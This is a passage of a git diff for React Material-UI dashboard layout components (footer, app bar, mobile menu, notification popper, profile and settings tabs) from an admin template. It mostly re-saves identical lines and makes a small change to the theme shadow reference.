-import Link from '@mui/material/Link'; -import Stack from '@mui/material/Stack'; -import Typography from '@mui/material/Typography'; - -export default function Footer() { - return ( - <Stack - direction={{ xs: 'column', sm: 'row' }} - sx={{ gap: 1.5, alignItems: 'center', justifyContent: 'space-between', p: '24px 16px 0px', mt: 'auto' }} - > - <Typography variant="caption"> - © All rights reserved{' '} - <Link href="https://codedthemes.com/" target="_blank" underline="hover"> - CodedThemes - </Link> - </Typography> - <Stack direction="row" sx={{ gap: 1.5, alignItems: 'center', justifyContent: 'space-between' }}> - <Link href="https://codedthemes.com/hire-us/" target="_blank" variant="caption" color="text.primary"> - Hire us - </Link> - <Link href="https://mui.com/store/license/" target="_blank" variant="caption" color="text.primary"> - License - </Link> - <Link href="https://mui.com/store/terms/" target="_blank" variant="caption" color="text.primary"> - Terms - </Link> - <Link href="https://links.codedthemes.com/dAAOP" target="_blank" variant="caption" color="text.primary"> - Figma Design System - </Link> - </Stack> - </Stack> - ); -} +// material-ui +import Link from '@mui/material/Link'; +import Stack from '@mui/material/Stack'; +import Typography from '@mui/material/Typography'; + +export default function Footer() { + return ( + <Stack + direction={{ xs: 'column', sm: 'row' }} + sx={{ gap: 1.5, alignItems: 'center', justifyContent: 'space-between', p: '24px 16px 0px', mt: 'auto' }} + > + <Typography variant="caption"> + © All rights reserved{' '} + <Link href="https://codedthemes.com/" target="_blank" underline="hover"> + CodedThemes + </Link> + </Typography> + <Stack direction="row" sx={{ gap: 1.5, alignItems: 'center', justifyContent: 'space-between' }}> + <Link href="https://codedthemes.com/hire-us/" target="_blank" variant="caption" color="text.primary"> + Hire us + </Link> + <Link href="https://mui.com/store/license/" target="_blank" variant="caption" color="text.primary"> + License + </Link> + <Link href="https://mui.com/store/terms/" target="_blank" variant="caption" color="text.primary"> + Terms + </Link> + <Link href="https://links.codedthemes.com/dAAOP" target="_blank" variant="caption" color="text.primary"> + Figma Design System + </Link> + </Stack> + </Stack> + ); +} diff --git a/src/layout/Dashboard/Header/AppBarStyled.jsx b/src/layout/Dashboard/Header/AppBarStyled.jsx index 77e033d5f..9b799661a 100644 --- a/src/layout/Dashboard/Header/AppBarStyled.jsx +++ b/src/layout/Dashboard/Header/AppBarStyled.jsx @@ -1,35 +1,35 @@ -// material-ui -import { styled } from '@mui/material/styles'; -import AppBar from '@mui/material/AppBar'; - -// project imports -import { DRAWER_WIDTH } from 'config'; - -const AppBarStyled = styled(AppBar, { shouldForwardProp: (prop) => prop !== 'open' })(({ theme }) => ({ - zIndex: theme.zIndex.drawer + 1, - transition: theme.transitions.create(['width', 'margin'], { - easing: theme.transitions.easing.sharp, - duration: theme.transitions.duration.leavingScreen - }), - variants: [ - { - props: ({ open }) => !open, - style: { - width: `calc(100% - ${theme.spacing(7.5)})` - } - }, - { - props: ({ open }) => open, - style: { - marginLeft: DRAWER_WIDTH, - width: `calc(100% - ${DRAWER_WIDTH}px)`, - transition: theme.transitions.create(['width', 'margin'], { - easing: theme.transitions.easing.sharp, - duration: theme.transitions.duration.enteringScreen - }) - } - } - ] -})); - -export default AppBarStyled; +// material-ui +import { styled } from '@mui/material/styles'; +import AppBar from '@mui/material/AppBar'; + +// project imports +import { DRAWER_WIDTH } from 'config'; + +const AppBarStyled = styled(AppBar, { shouldForwardProp: (prop) => prop !== 'open' })(({ theme }) => ({ + zIndex: theme.zIndex.drawer + 1, + transition: theme.transitions.create(['width', 'margin'], { + easing: theme.transitions.easing.sharp, + duration: theme.transitions.duration.leavingScreen + }), + variants: [ + { + props: ({ open }) => !open, + style: { + width: `calc(100% - ${theme.spacing(7.5)})` + } + }, + { + props: ({ open }) => open, + style: { + marginLeft: DRAWER_WIDTH, + width: `calc(100% - ${DRAWER_WIDTH}px)`, + transition: theme.transitions.create(['width', 'margin'], { + easing: theme.transitions.easing.sharp, + duration: theme.transitions.duration.enteringScreen + }) + } + } + ] +})); + +export default AppBarStyled; diff --git a/src/layout/Dashboard/Header/HeaderContent/MobileSection.jsx b/src/layout/Dashboard/Header/HeaderContent/MobileSection.jsx index ae6c1086c..ed4233aa4 100644 --- a/src/layout/Dashboard/Header/HeaderContent/MobileSection.jsx +++ b/src/layout/Dashboard/Header/HeaderContent/MobileSection.jsx @@ -1,102 +1,102 @@ -import { useEffect, useRef, useState } from 'react'; - -// material-ui -import AppBar from '@mui/material/AppBar'; -import ClickAwayListener from '@mui/material/ClickAwayListener'; -import Paper from '@mui/material/Paper'; -import Popper from '@mui/material/Popper'; -import Toolbar from '@mui/material/Toolbar'; -import Box from '@mui/material/Box'; - -// project imports -import Search from './Search'; -import Profile from './Profile'; -import IconButton from 'components/@extended/IconButton'; -import Transitions from 'components/@extended/Transitions'; - -// assets -import MoreOutlined from '@ant-design/icons/MoreOutlined'; - -// ==============================|| HEADER CONTENT - MOBILE ||============================== // - -export default function MobileSection() { - const [open, setOpen] = useState(false); - const anchorRef = useRef(null); - - const handleToggle = () => { - setOpen((prevOpen) => !prevOpen); - }; - - const handleClose = (event) => { - if (anchorRef.current && anchorRef.current.contains(event.target)) { - return; - } - - setOpen(false); - }; - - const prevOpen = useRef(open); - useEffect(() => { - if (prevOpen.current === true && open === false) { - anchorRef.current.focus(); - } - - prevOpen.current = open; - }, [open]); - - return ( - <> - <Box sx={{ flexShrink: 0, ml: 0.75 }}> - <IconButton - sx={() => ({ - color: 'text.primary', - bgcolor: open ? 'grey.300' : 'grey.100' - })} - aria-label="open more menu" - ref={anchorRef} - aria-controls={open ? 'menu-list-grow' : undefined} - aria-haspopup="true" - onClick={handleToggle} - color="secondary" - variant="light" - > - <MoreOutlined /> - </IconButton> - </Box> - <Popper - placement="bottom-end" - open={open} - anchorEl={anchorRef.current} - role={undefined} - transition - disablePortal - sx={{ width: '100%' }} - popperOptions={{ - modifiers: [ - { - name: 'offset', - options: { - offset: [0, 9] - } - } - ] - }} - > - {({ TransitionProps }) => ( - <Transitions type="fade" in={open} {...TransitionProps}> - <Paper sx={(theme) => ({ boxShadow: theme.customShadows.z1 })}> - <ClickAwayListener onClickAway={handleClose}> - <AppBar color="inherit"> - <Toolbar> - <Search /> - <Profile /> - </Toolbar> - </AppBar> - </ClickAwayListener> - </Paper> - </Transitions> - )} - </Popper> - </> - ); -} +import { useEffect, useRef, useState } from 'react'; + +// material-ui +import AppBar from '@mui/material/AppBar'; +import ClickAwayListener from '@mui/material/ClickAwayListener'; +import Paper from '@mui/material/Paper'; +import Popper from '@mui/material/Popper'; +import Toolbar from '@mui/material/Toolbar'; +import Box from '@mui/material/Box'; + +// project imports +import Search from './Search'; +import Profile from './Profile'; +import IconButton from 'components/@extended/IconButton'; +import Transitions from 'components/@extended/Transitions'; + +// assets +import MoreOutlined from '@ant-design/icons/MoreOutlined'; + +// ==============================|| HEADER CONTENT - MOBILE ||============================== // + +export default function MobileSection() { + const [open, setOpen] = useState(false); + const anchorRef = useRef(null); + + const handleToggle = () => { + setOpen((prevOpen) => !prevOpen); + }; + + const handleClose = (event) => { + if (anchorRef.current && anchorRef.current.contains(event.target)) { + return; + } + + setOpen(false); + }; + + const prevOpen = useRef(open); + useEffect(() => { + if (prevOpen.current === true && open === false) { + anchorRef.current.focus(); + } + + prevOpen.current = open; + }, [open]); + + return ( + <> + <Box sx={{ flexShrink: 0, ml: 0.75 }}> + <IconButton + sx={() => ({ + color: 'text.primary', + bgcolor: open ? 'grey.300' : 'grey.100' + })} + aria-label="open more menu" + ref={anchorRef} + aria-controls={open ? 'menu-list-grow' : undefined} + aria-haspopup="true" + onClick={handleToggle} + color="secondary" + variant="light" + > + <MoreOutlined /> + </IconButton> + </Box> + <Popper + placement="bottom-end" + open={open} + anchorEl={anchorRef.current} + role={undefined} + transition + disablePortal + sx={{ width: '100%' }} + popperOptions={{ + modifiers: [ + { + name: 'offset', + options: { + offset: [0, 9] + } + } + ] + }} + > + {({ TransitionProps }) => ( + <Transitions type="fade" in={open} {...TransitionProps}> + <Paper sx={(theme) => ({ boxShadow: theme.vars.customShadows.z1 })}> + <ClickAwayListener onClickAway={handleClose}> + <AppBar color="inherit"> + <Toolbar> + <Search /> + <Profile /> + </Toolbar> + </AppBar> + </ClickAwayListener> + </Paper> + </Transitions> + )} + </Popper> + </> + ); +} diff --git a/src/layout/Dashboard/Header/HeaderContent/Notification.jsx b/src/layout/Dashboard/Header/HeaderContent/Notification.jsx index e4c5af052..9a467f9b9 100644 --- a/src/layout/Dashboard/Header/HeaderContent/Notification.jsx +++ b/src/layout/Dashboard/Header/HeaderContent/Notification.jsx @@ -1,255 +1,257 @@ -import { useRef, useState } from 'react'; - -// material-ui -import useMediaQuery from '@mui/material/useMediaQuery'; -import Avatar from '@mui/material/Avatar'; -import Badge from '@mui/material/Badge'; -import ClickAwayListener from '@mui/material/ClickAwayListener'; -import List from '@mui/material/List'; -import ListItem from '@mui/material/ListItem'; -import ListItemButton from '@mui/material/ListItemButton'; -import ListItemAvatar from '@mui/material/ListItemAvatar'; -import ListItemText from '@mui/material/ListItemText'; -import Paper from '@mui/material/Paper'; -import Popper from '@mui/material/Popper'; -import Tooltip from '@mui/material/Tooltip'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -// project imports -import MainCard from 'components/MainCard'; -import IconButton from 'components/@extended/IconButton'; -import Transitions from 'components/@extended/Transitions'; - -// assets -import BellOutlined from '@ant-design/icons/BellOutlined'; -import CheckCircleOutlined from '@ant-design/icons/CheckCircleOutlined'; -import GiftOutlined from '@ant-design/icons/GiftOutlined'; -import MessageOutlined from '@ant-design/icons/MessageOutlined'; -import SettingOutlined from '@ant-design/icons/SettingOutlined'; - -// sx styles -const avatarSX = { - width: 36, - height: 36, - fontSize: '1rem' -}; - -const actionSX = { - mt: '6px', - ml: 1, - top: 'auto', - right: 'auto', - alignSelf: 'flex-start', - - transform: 'none' -}; - -// ==============================|| HEADER CONTENT - NOTIFICATION ||============================== // - -export default function Notification() { - const downMD = useMediaQuery((theme) => theme.breakpoints.down('md')); - - const anchorRef = useRef(null); - const [read, setRead] = useState(2); - const [open, setOpen] = useState(false); - const handleToggle = () => { - setOpen((prevOpen) => !prevOpen); - }; - - const handleClose = (event) => { - if (anchorRef.current && anchorRef.current.contains(event.target)) { - return; - } - setOpen(false); - }; - - return ( - <Box sx={{ flexShrink: 0, ml: 0.75 }}> - <IconButton - color="secondary" - variant="light" - sx={(theme) => ({ - color: 'text.primary', - bgcolor: open ? 'grey.100' : 'transparent' - })} - aria-label="open profile" - ref={anchorRef} - aria-controls={open ? 'profile-grow' : undefined} - aria-haspopup="true" - onClick={handleToggle} - > - <Badge badgeContent={read} color="primary"> - <BellOutlined /> - </Badge> - </IconButton> - <Popper - placement={downMD ? 'bottom' : 'bottom-end'} - open={open} - anchorEl={anchorRef.current} - role={undefined} - transition - disablePortal - popperOptions={{ modifiers: [{ name: 'offset', options: { offset: [downMD ? -5 : 0, 9] } }] }} - > - {({ TransitionProps }) => ( - <Transitions type="grow" position={downMD ? 'top' : 'top-right'} in={open} {...TransitionProps}> - <Paper sx={(theme) => ({ boxShadow: theme.customShadows.z1, width: '100%', minWidth: 285, maxWidth: { xs: 285, md: 420 } })}> - <ClickAwayListener onClickAway={handleClose}> - <MainCard - title="Notification" - elevation={0} - border={false} - content={false} - secondary={ - <> - {read > 0 && ( - <Tooltip title="Mark as all read"> - <IconButton color="success" size="small" onClick={() => setRead(0)}> - <CheckCircleOutlined style={{ fontSize: '1.15rem' }} /> - </IconButton> - </Tooltip> - )} - </> - } - > - <List - component="nav" - sx={{ - p: 0, - '& .MuiListItemButton-root': { - py: 0.5, - px: 2, - '&.Mui-selected': { bgcolor: 'grey.50', color: 'text.primary' }, - '& .MuiAvatar-root': avatarSX, - '& .MuiListItemSecondaryAction-root': { ...actionSX, position: 'relative' } - } - }} - > - <ListItem - component={ListItemButton} - divider - selected={read > 0} - secondaryAction={ - <Typography variant="caption" noWrap> - 3:00 AM - </Typography> - } - > - <ListItemAvatar> - <Avatar sx={{ color: 'success.main', bgcolor: 'success.lighter' }}> - <GiftOutlined /> - </Avatar> - </ListItemAvatar> - <ListItemText - primary={ - <Typography variant="h6"> - It's{' '} - <Typography component="span" variant="subtitle1"> - Cristina danny's - </Typography>{' '} - birthday today. - </Typography> - } - secondary="2 min ago" - /> - </ListItem> - <ListItem - component={ListItemButton} - divider - secondaryAction={ - <Typography variant="caption" noWrap> - 6:00 AM - </Typography> - } - > - <ListItemAvatar> - <Avatar sx={{ color: 'primary.main', bgcolor: 'primary.lighter' }}> - <MessageOutlined /> - </Avatar> - </ListItemAvatar> - <ListItemText - primary={ - <Typography variant="h6"> - <Typography component="span" variant="subtitle1"> - Aida Burg - </Typography>{' '} - commented your post. - </Typography> - } - secondary="5 August" - /> - </ListItem> - <ListItem - component={ListItemButton} - divider - selected={read > 0} - secondaryAction={ - <Typography variant="caption" noWrap> - 2:45 PM - </Typography> - } - > - <ListItemAvatar> - <Avatar sx={{ color: 'error.main', bgcolor: 'error.lighter' }}> - <SettingOutlined /> - </Avatar> - </ListItemAvatar> - <ListItemText - primary={ - <Typography variant="h6"> - Your Profile is Complete   - <Typography component="span" variant="subtitle1"> - 60% - </Typography>{' '} - </Typography> - } - secondary="7 hours ago" - /> - </ListItem> - <ListItem - component={ListItemButton} - divider - secondaryAction={ - <Typography variant="caption" noWrap> - 9:10 PM - </Typography> - } - > - <ListItemAvatar> - <Avatar sx={{ color: 'primary.main', bgcolor: 'primary.lighter' }}>C</Avatar> - </ListItemAvatar> - <ListItemText - primary={ - <Typography variant="h6"> - <Typography component="span" variant="subtitle1"> - Cristina Danny - </Typography>{' '} - invited to join{' '} - <Typography component="span" variant="subtitle1"> - Meeting. - </Typography> - </Typography> - } - secondary="Daily scrum meeting time" - /> - </ListItem> - <ListItemButton sx={{ textAlign: 'center', py: `${12}px !important` }}> - <ListItemText - primary={ - <Typography variant="h6" color="primary"> - View All - </Typography> - } - /> - </ListItemButton> - </List> - </MainCard> - </ClickAwayListener> - </Paper> - </Transitions> - )} - </Popper> - </Box> - ); -} +import { useRef, useState } from 'react'; + +// material-ui +import useMediaQuery from '@mui/material/useMediaQuery'; +import Avatar from '@mui/material/Avatar'; +import Badge from '@mui/material/Badge'; +import ClickAwayListener from '@mui/material/ClickAwayListener'; +import List from '@mui/material/List'; +import ListItem from '@mui/material/ListItem'; +import ListItemButton from '@mui/material/ListItemButton'; +import ListItemAvatar from '@mui/material/ListItemAvatar'; +import ListItemText from '@mui/material/ListItemText'; +import Paper from '@mui/material/Paper'; +import Popper from '@mui/material/Popper'; +import Tooltip from '@mui/material/Tooltip'; +import Typography from '@mui/material/Typography'; +import Box from '@mui/material/Box'; + +// project imports +import MainCard from 'components/MainCard'; +import IconButton from 'components/@extended/IconButton'; +import Transitions from 'components/@extended/Transitions'; + +// assets +import BellOutlined from '@ant-design/icons/BellOutlined'; +import CheckCircleOutlined from '@ant-design/icons/CheckCircleOutlined'; +import GiftOutlined from '@ant-design/icons/GiftOutlined'; +import MessageOutlined from '@ant-design/icons/MessageOutlined'; +import SettingOutlined from '@ant-design/icons/SettingOutlined'; + +// sx styles +const avatarSX = { + width: 36, + height: 36, + fontSize: '1rem' +}; + +const actionSX = { + mt: '6px', + ml: 1, + top: 'auto', + right: 'auto', + alignSelf: 'flex-start', + + transform: 'none' +}; + +// ==============================|| HEADER CONTENT - NOTIFICATION ||============================== // + +export default function Notification() { + const downMD = useMediaQuery((theme) => theme.breakpoints.down('md')); + + const anchorRef = useRef(null); + const [read, setRead] = useState(2); + const [open, setOpen] = useState(false); + const handleToggle = () => { + setOpen((prevOpen) => !prevOpen); + }; + + const handleClose = (event) => { + if (anchorRef.current && anchorRef.current.contains(event.target)) { + return; + } + setOpen(false); + }; + + return ( + <Box sx={{ flexShrink: 0, ml: 0.75 }}> + <IconButton + color="secondary" + variant="light" + sx={(theme) => ({ + color: 'text.primary', + bgcolor: open ? 'grey.100' : 'transparent' + })} + aria-label="open profile" + ref={anchorRef} + aria-controls={open ? 'profile-grow' : undefined} + aria-haspopup="true" + onClick={handleToggle} + > + <Badge badgeContent={read} color="primary"> + <BellOutlined /> + </Badge> + </IconButton> + <Popper + placement={downMD ? 'bottom' : 'bottom-end'} + open={open} + anchorEl={anchorRef.current} + role={undefined} + transition + disablePortal + popperOptions={{ modifiers: [{ name: 'offset', options: { offset: [downMD ? -5 : 0, 9] } }] }} + > + {({ TransitionProps }) => ( + <Transitions type="grow" position={downMD ? 'top' : 'top-right'} in={open} {...TransitionProps}> + <Paper + sx={(theme) => ({ boxShadow: theme.vars.customShadows.z1, width: '100%', minWidth: 285, maxWidth: { xs: 285, md: 420 } })} + > + <ClickAwayListener onClickAway={handleClose}> + <MainCard + title="Notification" + elevation={0} + border={false} + content={false} + secondary={ + <> + {read > 0 && ( + <Tooltip title="Mark as all read"> + <IconButton color="success" size="small" onClick={() => setRead(0)}> + <CheckCircleOutlined style={{ fontSize: '1.15rem' }} /> + </IconButton> + </Tooltip> + )} + </> + } + > + <List + component="nav" + sx={{ + p: 0, + '& .MuiListItemButton-root': { + py: 0.5, + px: 2, + '&.Mui-selected': { bgcolor: 'grey.50', color: 'text.primary' }, + '& .MuiAvatar-root': avatarSX, + '& .MuiListItemSecondaryAction-root': { ...actionSX, position: 'relative' } + } + }} + > + <ListItem + component={ListItemButton} + divider + selected={read > 0} + secondaryAction={ + <Typography variant="caption" noWrap> + 3:00 AM + </Typography> + } + > + <ListItemAvatar> + <Avatar sx={{ color: 'success.main', bgcolor: 'success.lighter' }}> + <GiftOutlined /> + </Avatar> + </ListItemAvatar> + <ListItemText + primary={ + <Typography variant="h6"> + It's{' '} + <Typography component="span" variant="subtitle1"> + Cristina danny's + </Typography>{' '} + birthday today. + </Typography> + } + secondary="2 min ago" + /> + </ListItem> + <ListItem + component={ListItemButton} + divider + secondaryAction={ + <Typography variant="caption" noWrap> + 6:00 AM + </Typography> + } + > + <ListItemAvatar> + <Avatar sx={{ color: 'primary.main', bgcolor: 'primary.lighter' }}> + <MessageOutlined /> + </Avatar> + </ListItemAvatar> + <ListItemText + primary={ + <Typography variant="h6"> + <Typography component="span" variant="subtitle1"> + Aida Burg + </Typography>{' '} + commented your post. + </Typography> + } + secondary="5 August" + /> + </ListItem> + <ListItem + component={ListItemButton} + divider + selected={read > 0} + secondaryAction={ + <Typography variant="caption" noWrap> + 2:45 PM + </Typography> + } + > + <ListItemAvatar> + <Avatar sx={{ color: 'error.main', bgcolor: 'error.lighter' }}> + <SettingOutlined /> + </Avatar> + </ListItemAvatar> + <ListItemText + primary={ + <Typography variant="h6"> + Your Profile is Complete   + <Typography component="span" variant="subtitle1"> + 60% + </Typography>{' '} + </Typography> + } + secondary="7 hours ago" + /> + </ListItem> + <ListItem + component={ListItemButton} + divider + secondaryAction={ + <Typography variant="caption" noWrap> + 9:10 PM + </Typography> + } + > + <ListItemAvatar> + <Avatar sx={{ color: 'primary.main', bgcolor: 'primary.lighter' }}>C</Avatar> + </ListItemAvatar> + <ListItemText + primary={ + <Typography variant="h6"> + <Typography component="span" variant="subtitle1"> + Cristina Danny + </Typography>{' '} + invited to join{' '} + <Typography component="span" variant="subtitle1"> + Meeting. + </Typography> + </Typography> + } + secondary="Daily scrum meeting time" + /> + </ListItem> + <ListItemButton sx={{ textAlign: 'center', py: `${12}px !important` }}> + <ListItemText + primary={ + <Typography variant="h6" color="primary"> + View All + </Typography> + } + /> + </ListItemButton> + </List> + </MainCard> + </ClickAwayListener> + </Paper> + </Transitions> + )} + </Popper> + </Box> + ); +} diff --git a/src/layout/Dashboard/Header/HeaderContent/Profile/ProfileTab.jsx b/src/layout/Dashboard/Header/HeaderContent/Profile/ProfileTab.jsx index 65a0b4a14..dab691290 100644 --- a/src/layout/Dashboard/Header/HeaderContent/Profile/ProfileTab.jsx +++ b/src/layout/Dashboard/Header/HeaderContent/Profile/ProfileTab.jsx @@ -1,55 +1,55 @@ -import PropTypes from 'prop-types'; -// material-ui -import List from '@mui/material/List'; -import ListItemButton from '@mui/material/ListItemButton'; -import ListItemIcon from '@mui/material/ListItemIcon'; -import ListItemText from '@mui/material/ListItemText'; - -// assets -import EditOutlined from '@ant-design/icons/EditOutlined'; -import ProfileOutlined from '@ant-design/icons/ProfileOutlined'; -import LogoutOutlined from '@ant-design/icons/LogoutOutlined'; -import UserOutlined from '@ant-design/icons/UserOutlined'; -import WalletOutlined from '@ant-design/icons/WalletOutlined'; - -// ==============================|| HEADER PROFILE - PROFILE TAB ||============================== // - -export default function ProfileTab() { - return ( - <List component="nav" sx={{ p: 0, '& .MuiListItemIcon-root': { minWidth: 32 } }}> - <ListItemButton> - <ListItemIcon> - <EditOutlined /> - </ListItemIcon> - <ListItemText primary="Edit Profile" /> - </ListItemButton> - <ListItemButton> - <ListItemIcon> - <UserOutlined /> - </ListItemIcon> - <ListItemText primary="View Profile" /> - </ListItemButton> - - <ListItemButton> - <ListItemIcon> - <ProfileOutlined /> - </ListItemIcon> - <ListItemText primary="Social Profile" /> - </ListItemButton> - <ListItemButton> - <ListItemIcon> - <WalletOutlined /> - </ListItemIcon> - <ListItemText primary="Billing" /> - </ListItemButton> - <ListItemButton> - <ListItemIcon> - <LogoutOutlined /> - </ListItemIcon> - <ListItemText primary="Logout" /> - </ListItemButton> - </List> - ); -} - -ProfileTab.propTypes = { handleLogout: PropTypes.func }; +import PropTypes from 'prop-types'; +// material-ui +import List from '@mui/material/List'; +import ListItemButton from '@mui/material/ListItemButton'; +import ListItemIcon from '@mui/material/ListItemIcon'; +import ListItemText from '@mui/material/ListItemText'; + +// assets +import EditOutlined from '@ant-design/icons/EditOutlined'; +import ProfileOutlined from '@ant-design/icons/ProfileOutlined'; +import LogoutOutlined from '@ant-design/icons/LogoutOutlined'; +import UserOutlined from '@ant-design/icons/UserOutlined'; +import WalletOutlined from '@ant-design/icons/WalletOutlined'; + +// ==============================|| HEADER PROFILE - PROFILE TAB ||============================== // + +export default function ProfileTab() { + return ( + <List component="nav" sx={{ p: 0, '& .MuiListItemIcon-root': { minWidth: 32 } }}> + <ListItemButton> + <ListItemIcon> + <EditOutlined /> + </ListItemIcon> + <ListItemText primary="Edit Profile" /> + </ListItemButton> + <ListItemButton> + <ListItemIcon> + <UserOutlined /> + </ListItemIcon> + <ListItemText primary="View Profile" /> + </ListItemButton> + + <ListItemButton> + <ListItemIcon> + <ProfileOutlined /> + </ListItemIcon> + <ListItemText primary="Social Profile" /> + </ListItemButton> + <ListItemButton> + <ListItemIcon> + <WalletOutlined /> + </ListItemIcon> + <ListItemText primary="Billing" /> + </ListItemButton> + <ListItemButton> + <ListItemIcon> + <LogoutOutlined /> + </ListItemIcon> + <ListItemText primary="Logout" /> + </ListItemButton> + </List> + ); +} + +ProfileTab.propTypes = { handleLogout: PropTypes.func }; diff --git a/src/layout/Dashboard/Header/HeaderContent/Profile/SettingTab.jsx b/src/layout/Dashboard/Header/HeaderContent/Profile/SettingTab.jsx index af06ccf8b..93b19a4fd 100644 --- a/src/layout/Dashboard/Header/HeaderContent/Profile/SettingTab.jsx +++ b/src/layout/Dashboard/Header/HeaderContent/Profile/SettingTab.jsx @@ -1,56 +1,56 @@ -// material-ui -import List from '@mui/material/List'; -import Link from '@mui/material/Link'; -import ListItemButton from '@mui/material/ListItemButton'; -import ListItemIcon from '@mui/material/ListItemIcon'; -import ListItemText from '@mui/material/ListItemText'; - -// assets -import CommentOutlined from '@ant-design/icons/CommentOutlined'; -import LockOutlined from '@ant-design/icons/LockOutlined'; -import QuestionCircleOutlined from '@ant-design/icons/QuestionCircleOutlined'; -import UserOutlined from '@ant-design/icons/UserOutlined'; -import UnorderedListOutlined from '@ant-design/icons/UnorderedListOutlined'; - -// ==============================|| HEADER PROFILE - SETTING TAB ||============================== // - -export default function SettingTab() { - return ( - <List component="nav" sx={{ p: 0, '& .MuiListItemIcon-root': { minWidth: 32 } }}> - <Link underline="none" sx={{ color: 'inherit' }} target="_blank" href="https://codedthemes.support-hub.io/"> - <ListItemButton> - <ListItemIcon> - <QuestionCircleOutlined /> - </ListItemIcon> - <ListItemText primary="Support" /> - </ListItemButton> - </Link> - <ListItemButton> - <ListItemIcon> - <UserOutlined /> - </ListItemIcon> - <ListItemText primary="Account Settings" /> - </ListItemButton> - <ListItemButton> - <ListItemIcon> - <LockOutlined /> - </ListItemIcon> - <ListItemText primary="Privacy Center" /> - </ListItemButton> - <Link underline="none" style={{ color: 'inherit' }} target="_blank" href="https://codedthemes.support-hub.io/"> - <ListItemButton> - <ListItemIcon> - <CommentOutlined /> - </ListItemIcon> - <ListItemText primary="Feedback" /> - </ListItemButton> - </Link> - <ListItemButton> - <ListItemIcon> - <UnorderedListOutlined /> - </ListItemIcon> - <ListItemText primary="History" /> - </ListItemButton> - </List> - ); -} +// material-ui +import List from '@mui/material/List'; +import Link from '@mui/material/Link'; +import ListItemButton from '@mui/material/ListItemButton'; +import ListItemIcon from '@mui/material/ListItemIcon'; +import ListItemText from '@mui/material/ListItemText'; + +// assets +import CommentOutlined from '@ant-design/icons/CommentOutlined'; +import LockOutlined from '@ant-design/icons/LockOutlined'; +import QuestionCircleOutlined from '@ant-design/icons/QuestionCircleOutlined'; +import UserOutlined from '@ant-design/icons/UserOutlined'; +import UnorderedListOutlined from '@ant-design/icons/UnorderedListOutlined'; + +// ==============================|| HEADER PROFILE - SETTING TAB ||============================== // + +export default function SettingTab() { + return ( + <List component="nav" sx={{ p: 0, '& .MuiListItemIcon-root': { minWidth: 32 } }}> + <Link underline="none" sx={{ color: 'inherit' }} target="_blank" href="https://codedthemes.support-hub.io/"> + <ListItemButton> + <ListItemIcon> + <QuestionCircleOutlined /> + </ListItemIcon> + <ListItemText primary="Support" /> + </ListItemButton> + </Link> + <ListItemButton> + <ListItemIcon> + <UserOutlined /> + </ListItemIcon> + <ListItemText primary="Account Settings" /> + </ListItemButton> + <ListItemButton> + <ListItemIcon> + <LockOutlined /> + </ListItemIcon> + <ListItemText primary="Privacy Center" /> + </ListItemButton> + <Link underline="none" style={{ color: 'inherit' }} target="_blank" href="https://codedthemes.support-hub.io/"> + <ListItemButton> + <ListItemIcon> + <CommentOutlined /> + </ListItemIcon> + <ListItemText primary="Feedback" /> + </ListItemButton> + </Link> + <ListItemButton> + <ListItemIcon> + <UnorderedListOutlined /> + </ListItemIcon> + <ListItemText primary="History" /> + </ListItemButton> + </List> + ); +} diff --git a/src/layout/Dashboard/Header/HeaderContent/Profile/index.jsx b/src/layout/Dashboard/Header/HeaderContent/Profile/index.jsx index de8be0c6a..91dc13532 100644 --- a/src/layout/Dashboard/Header/HeaderContent/Profile/index.jsx +++ b/src/layout/Dashboard/Header/HeaderContent/Profile/index.jsx @@ -1,189 +1,189 @@ -import PropTypes from 'prop-types'; -import { useRef, useState } from 'react'; - -// material-ui -import { useTheme } from '@mui/material/styles'; -import ButtonBase from '@mui/material/ButtonBase'; -import CardContent from '@mui/material/CardContent'; -import ClickAwayListener from '@mui/material/ClickAwayListener'; -import Grid from '@mui/material/Grid'; -import Paper from '@mui/material/Paper'; -import Popper from '@mui/material/Popper'; -import Stack from '@mui/material/Stack'; -import Tab from '@mui/material/Tab'; -import Tabs from '@mui/material/Tabs'; -import Tooltip from '@mui/material/Tooltip'; -import Typography from '@mui/material/Typography'; -import Box from '@mui/material/Box'; - -// project imports -import ProfileTab from './ProfileTab'; -import SettingTab from './SettingTab'; -import Avatar from 'components/@extended/Avatar'; -import MainCard from 'components/MainCard'; -import Transitions from 'components/@extended/Transitions'; -import IconButton from 'components/@extended/IconButton'; - -// assets -import LogoutOutlined from '@ant-design/icons/LogoutOutlined'; -import SettingOutlined from '@ant-design/icons/SettingOutlined'; -import UserOutlined from '@ant-design/icons/UserOutlined'; -import avatar1 from 'assets/images/users/avatar-1.png'; - -// tab panel wrapper -function TabPanel({ children, value, index, ...other }) { - return ( - <div role="tabpanel" hidden={value !== index} id={`profile-tabpanel-${index}`} aria-labelledby={`profile-tab-${index}`} {...other}> - {value === index && children} - </div> - ); -} - -function a11yProps(index) { - return { - id: `profile-tab-${index}`, - 'aria-controls': `profile-tabpanel-${index}` - }; -} - -// ==============================|| HEADER CONTENT - PROFILE ||============================== // - -export default function Profile() { - const theme = useTheme(); - - const anchorRef = useRef(null); - const [open, setOpen] = useState(false); - const handleToggle = () => { - setOpen((prevOpen) => !prevOpen); - }; - - const handleClose = (event) => { - if (anchorRef.current && anchorRef.current.contains(event.target)) { - return; - } - setOpen(false); - }; - - const [value, setValue] = useState(0); - - const handleChange = (event, newValue) => { - setValue(newValue); - }; - - return ( - <Box sx={{ flexShrink: 0, ml: 'auto' }}> - <Tooltip title="Profile" disableInteractive> - <ButtonBase - sx={(theme) => ({ - p: 0.25, - borderRadius: 1, - '&:focus-visible': { outline: `2px solid ${theme.vars.palette.secondary.dark}`, outlineOffset: 2 } - })} - aria-label="open profile" - ref={anchorRef} - aria-controls={open ? 'profile-grow' : undefined} - aria-haspopup="true" - onClick={handleToggle} - > - <Avatar alt="profile user" src={avatar1} size="sm" sx={{ '&:hover': { outline: '1px solid', outlineColor: 'primary.main' } }} /> - </ButtonBase> - </Tooltip> - <Popper - placement="bottom-end" - open={open} - anchorEl={anchorRef.current} - role={undefined} - transition - disablePortal - popperOptions={{ - modifiers: [ - { - name: 'offset', - options: { - offset: [0, 9] - } - } - ] - }} - > - {({ TransitionProps }) => ( - <Transitions type="grow" position="top-right" in={open} {...TransitionProps}> - <Paper sx={(theme) => ({ boxShadow: theme.vars.customShadows.z1, width: 290, minWidth: 240, maxWidth: { xs: 250, md: 290 } })}> - <ClickAwayListener onClickAway={handleClose}> - <MainCard elevation={0} border={false} content={false}> - <CardContent sx={{ px: 2.5, pt: 3 }}> - <Grid container sx={{ justifyContent: 'space-between', 